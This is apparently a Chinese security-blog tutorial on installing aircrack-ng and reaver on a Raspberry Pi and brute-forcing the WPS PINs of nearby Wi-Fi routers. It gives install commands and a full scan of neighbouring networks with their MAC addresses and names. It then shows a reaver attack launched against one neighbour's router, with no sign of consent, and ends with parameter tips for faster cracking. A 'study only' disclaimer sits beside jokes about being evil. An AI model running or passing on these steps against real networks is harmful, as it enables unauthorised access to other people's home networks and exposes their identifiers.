小编：感谢minyoni的分享，freebuf希望这种从安装到安全测试全过程的paper越来越多，让国内安全paper与国外一样细致和专业。
声明：本文仅供安全学习用途
最近心血来潮，想把小区里的无线信号测试个遍。基于目前大多数路由器都支持wps,想必各位基友们都知道aircrack和reaver这两个工具，实属破解pin码，杀人越货，居家旅行之必备良药。像以前跑reaver这样的暴力工具一般都要24小时开着主机，实在浪费功耗，灰常的不绿色！不环保！
话说Raspberry Pi，作为一个攻击环境也是灰常给力的。国外的发烧友们已经针对这个板子，改造了专门用于网络攻击和测试的系统（基于debian）
不过今天这篇文章说的是如何在Raspberry Pi的官方发行版上安装 aircrack和reaver ，我用的是苹果充电器+Mini usb 数据线给Raspberry Pi供电，带一个alfa的无线网卡足够了。功耗如此之低，实在是在线跑pin码。长期无线抓包的绝佳方案呢。
PS:懂得可以路过了……
废话不多说，安装过程如下
1.准备系统环境
apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion
2.安装aircrack
svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd aircrack-ng/
make
make install
cd ../
3.安装reaver
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
make install
cd ../
4.使用 aircrack，寻找附近开启wps的路由器，邪恶……嘻嘻
airmon-ng start wlan0
airodump-ng mon0
CH 11 ][ Elapsed: 36 s ][ 2012-12-18 04:46
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0E:2E:FD:C4:BB -1 0 0 0 -1 -1 <length: 0>
4C:E6:76:60:3F:20 -13 123 0 0 11 54e WPA2 CCMP PSK cuier-1
B0:48:7A:52:F4:72 -23 42 0 0 1 54e. WPA2 CCMP PSK FAST_52F472
8C:21:0A:5F:A2:FA -35 28 0 0 1 54e. WPA2 CCMP PSK TP-LINK_5FA2FA
E0:05:C5:D3:3F:00 -42 33 0 0 2 54e. WPA2 CCMP PSK TP-LINK_D33F00
EC:17:2F:7D:12:1E -49 56 1 0 6 54e. WPA2 CCMP PSK wg7788
B0:48:7A:5D:22:EA -51 36 0 0 6 54e. WPA2 CCMP PSK TP-LINK_1202
C4:CA:D9:6D:6F:B0 -52 30 10 0 11 54e. OPN ChinaNet
8C:21:0A:8F:2F:1A -54 18 0 0 1 54e. WPA2 CCMP PSK hechengyv
E0:05:C5:C5:70:E8 -55 15 0 0 4 54e. WPA2 CCMP PSK wtangqiu
C8:3A:35:55:D1:D8 -55 20 2 0 7 54e. WPA CCMP PSK Tenda_55D1D8
8C:21:0A:84:89:8C -56 24 0 0 1 54e. WPA2 CCMP PSK BATE
C4:CA:D9:6D:5F:60 -55 15 2 0 6 54e. OPN ChinaNet
EC:17:2F:54:01:2E -56 13 0 0 1 54e. WPA2 CCMP PSK diguadawang
5C:63:BF:74:56:52 -53 18 2 0 1 54e. WPA2 CCMP PSK cocohe
08:10:76:40:C2:92 -58 21 0 0 1 54e WPA2 CCMP PSK flytv
E0:05:C5:C0:60:42 -56 21 0 0 9 54e. WPA2 CCMP PSK HZLYL
38:83:45:C1:BE:F8 -59 14 1 0 6 54e. WPA2 CCMP PSK TICO081122
C4:CA:D9:74:B3:80 -57 13 1 0 11 54e. OPN ChinaNet
EC:88:8F:AB:F6:5E -59 5 0 0 4 54e. WPA2 CCMP PSK TP-LINK_ABF65E
6C:E8:73:B0:67:78 -59 8 0 0 6 54e. WPA2 CCMP PSK WJJ~LOVE~WW
C8:3A:35:19:D6:78 -61 9 0 0 1 54e WPA CCMP PSK Tenda_19D678
E0:05:C5:19:9C:04 -61 18 0 0 7 54 . WPA2 CCMP PSK 1-14-1-602
C8:64:C7:5A:46:16 -60 3 0 0 11 54e WPA CCMP PSK STB_CDCF
6C:E8:73:45:A7:E6 -60 6 0 0 4 54e. WPA2 CCMP PSK TP-LINK_45A7E6
1C:BD:B9:F5:E5:D7 -61 16 0 0 1 54 WPA2 CCMP PSK D-Link_DIR-600M
C4:CA:D9:6D:6E:B0 -61 12 0 0 1 54e. OPN ChinaNet
C8:64:C7:5A:46:15 -61 17 0 0 11 54e WPA CCMP PSK VIDEOPHONE_CDCF
C8:64:C7:5A:46:17 -61 12 0 0 11 54e WPA CCMP PSK BACKUP
EC:88:8F:99:75:F2 -61 5 0 0 4 54e. WPA2 CCMP PSK 6786
8C:21:0A:1E:60:26 -61 3 0 0 1 54e. WPA2 CCMP PSK yue
00:23:CD:5B:A7:9E -61 2 0 0 6 54 . WEP WEP 1203 wireless
14:E6:E4:44:9B:8E -62 6 0 0 4 54e. WPA2 CCMP PSK bujiankai
00:1D:0F:81:72:06 -62 4 0 0 6 54 . WEP WEP Line
FC:C8:97:94:B6:C8 -62 7 0 0 11 54e WPA CCMP PSK CU_6cmn
B0:48:7A:2A:1B:E6 -62 7 0 0 6 54e. WPA CCMP PSK 302
EC:88:8F:8F:CD:BB -62 11 0 0 11 54e. WPA2 CCMP PSK haloso2
EC:17:2F:AC:44:A2 -62 7 0 0 1 54e. WPA2 CCMP PSK 1-401
C8:64:C7:5A:46:14 -63 24 0 0 11 54e WPA CCMP PSK CU_CDCF
38:83:45:B5:E3:96 -63 6 0 0 1 54e. WPA2 CCMP PSK TP-LINK_B5E396
C8:3A:35:2B:35:68 -63 11 0 0 11 54e WPA2 CCMP PSK Tenda_2B3568
00:27:19:6D:4A:5A -63 1 0 0 11 54e. WPA2 CCMP PSK JUJIA-FOGUANG
FC:C8:97:94:B6:CB -65 9 0 0 11 54e WPA CCMP PSK BACKUP
FC:C8:97:94:B6:C9 -63 15 0 0 11 54e WPA CCMP PSK VIDEOPHONE_6cmn
C8:3A:35:06:63:B0 -64 3 0 0 1 54e WPA2 CCMP PSK Tenda_0663B0
8C:21:0A:B0:22:92 -64 3 0 0 1 54e. WPA2 CCMP PSK 810
14:E6:E4:4F:DE:FE -64 3 0 0 1 54e. WPA2 CCMP PSK YM+ZM
FC:C8:97:94:B6:CA -65 13 0 0 11 54e WPA CCMP PSK STB_6cmn
C8:3A:35:52:70:60 -65 2 0 0 11 54e. WPA CCMP PSK Tenda_527060
00:26:5A:B3:08:7E -65 8 0 0 13 54e WPA2 CCMP PSK 503
F4:EC:38:56:6B:DE -62 2 0 0 9 54e. WPA2 CCMP PSK WTO
14:D6:4D:A0:19:60 -62 3 0 0 11 54e WPA2 TKIP PSK wang~XB
C4:CA:D9:6D:6F:40 -62 1 0 0 1 54e. OPN ChinaNet
ctrl+c^ 结束
话说小区里的无线信号还真是多呢……主要是alfa 的卡给力……呵呵
5.使用reaver 破解开启wps功能的路由器密码
比如这条，信号还不错
8C:21:0A:5F:A2:FA -35 28 0 0 1 54e. WPA2 CCMP PSK TP-LINK_5FA2FA
[email protected]:~/soft/reaver-1.4# reaver -i mon0 -b 8C:21:0A:5F:A2:FA -a -S -vv -d2 -t 5 -c 1
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
[+] Switching mon0 to channel 1
[+] Waiting for beacon from 8C:21:0A:5F:A2:FA
[+] Associated with 8C:21:0A:5F:A2:FA (ESSID: TP-LINK_5FA2FA)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 01235678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
^C
这样就开始破解了哦，耐心等待结果就好了……不要太邪恶哦。做做测试还是可以的，要做个好童鞋……
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附上reaver调整参数的一些小技巧
reaver:
-i 监听后接口名称
-b 目标mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key（可以提高PJ速度）
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-t 即timeout每次穷举等待反馈的最长时间
-c指定频道可以方便找到信号，如-c1 指定1频道，大家查看自己的目标频道做相应修改 （非TP-LINK路由推荐–d9 –t9参数防止路由僵死
示例：
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv）
应因状况调整参数（-c后面都已目标频道为1作为例子）
目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1
